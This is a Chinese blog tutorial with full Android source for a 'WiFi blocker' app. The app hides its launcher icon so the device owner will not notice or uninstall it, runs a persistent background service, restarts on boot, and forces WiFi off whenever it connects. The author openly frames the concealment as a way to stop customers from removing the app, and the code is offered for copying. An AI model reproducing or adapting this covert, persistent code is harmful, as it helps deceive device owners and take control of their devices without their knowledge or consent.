您的位置:首页 > 其它

手机WIFI拦截器简单实现

2016-04-14 09:44 155 查看
最近,经理给了一个需求,让写一个WIFI拦截器,一开始我也是毫无头绪,不过还是几个小时就搞定了,其实也并没有什么,就是一个简单的广播和服务,上代码:

1、先看一下目录结构:





2、首先你要把你的APP得启动图标给隐藏,因为如果客户看见你的app图标有可能给你卸载掉,这样你的app毫无意义,所以不能让他看见(嘿嘿,有点恶心是不),隐藏图标的方法是:

<activity
android:name=".MainActivity"
android:label="@string/app_name">
<intent-filter>
<data
android:host="MainActivity"
android:scheme="com.example.android.myapplication" />
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
host指的是你的入口Activity,scheme值得是项目的包名,这样你启动的时候就不会有启动图标了,不懂Android的人很难知道这是怎么回事。

3、MainActivity的代码:

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
requestWindowFeature(Window.FEATURE_NO_TITLE);
/**
* 判断wifi的网络状态,如果开启时则关闭
*/
WifiManager wifiManager = (WifiManager) getSystemService(WIFI_SERVICE);
if (wifiManager.isWifiEnabled()) {
wifiManager.setWifiEnabled(false);
}
startService(new Intent(MainActivity.this, MyService.class));
finish();
}
}
在进入Activity的时候第一件事就是要判断wifi是都正在连接,如果是就关闭,另外我们还要开启一个常驻性服务,然后把程序干掉,这样表面上看来没什么,但是程序在后台还是在正常运行,如果有需要的朋友,还可以吧Service的优先级提高,防止Android强制回收掉。

4、注册开机启动广播,这没啥可讲的,大家一看就知道这是什么:

public class BootUpReceiver extends BroadcastReceiver {
static final String action_boot = "android.intent.action.BOOT_COMPLETED";

@Override
public void onReceive(Context context, Intent intent) {
Intent intent1 = new Intent(context, MainActivity.class);
intent1.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(intent1);
}

}
注册广播:

<receiver android:name=".BootUpReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>


5、网络监听广播:这也没啥可将的,只要就是实时监听网络的变化,如果是WIFI连接,直接强制关闭:

public class NetworkStateReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
NetworkInfo ni = intent.getParcelableExtra(ConnectivityManager.EXTRA_NETWORK_INFO);
if (ni.getState() == NetworkInfo.State.CONNECTED && ni.getType() == ConnectivityManager.TYPE_WIFI) {
/**
* 判断wifi的网络状态,开启时则关闭
*/
WifiManager wifiManager = (WifiManager) context.getSystemService(context.WIFI_SERVICE);
if (wifiManager.isWifiEnabled()) {
wifiManager.setWifiEnabled(false);
}
}
}
}
}


6、最后就是程序所需要的一些权限了:

<!--监听WIFI状态-->
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<!--开启自启动-->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<!--监听网络变化-->
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
其实Demo很简单,但是非常好玩,大家有需要的可以看一下,我提供一个下载源代码的地址:

点击打开链接

我用的是Studio开发的,使用Eclipse的朋友可自行Copy代码。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: